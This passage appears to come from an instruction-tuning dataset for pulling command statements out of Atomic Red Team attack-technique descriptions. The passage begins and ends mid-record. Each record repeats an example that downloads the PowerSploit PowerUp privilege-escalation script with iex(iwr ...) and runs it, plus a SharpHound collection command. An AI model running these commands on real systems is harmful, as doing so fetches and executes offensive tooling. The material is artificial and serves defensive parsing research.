https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test restarts a FreeBSD system using `poweroff`.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Simulate DarkGate malware's second stage by writing a VBscript to disk directly from the command prompt then executing it.\n The script will execute 'whoami' then exit.", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This Atomic will create a Google Storage Bucket then delete it. The idea for this Atomic came from a Rule published by the Elastic team.\n\nIdentifies when a Google Cloud Platform (GCP) storage bucket is deleted. An adversary may delete a storage bucket in order to disrupt their target's business operations.\nThis atomic will create a bucket then delete the bucket.\n\nReference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/impact_gcp_storage_bucket_deleted.toml\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Enumerates system service using systemctl/service\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Methods to identify Security Software on an endpoint\n\nwhen sucessfully executed, the test is going to display running processes, firewall configuration on network profiles\nand specific security software.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Adds persistence by abusing `compmgmt.msc` via a scheduled task.\nWhen the Computer Management console is opened, it will run a malicious payload (in this case, `calc.exe`). \nThis technique abuses scheduled tasks and registry modifications to hijack legitimate system processes.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Use wlrmdr(Windows Logon Reminder executable) as a proxy binary to evade defensive countermeasures", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Find passwords in the powershell history files\nSearching for following strings: \"password\", \"-p\", \"key\", \"pwd\", \"pass\"\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Using the Disable-AntiPhishRule cmdlet to disable antiphish rules in your office-365 organization.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and 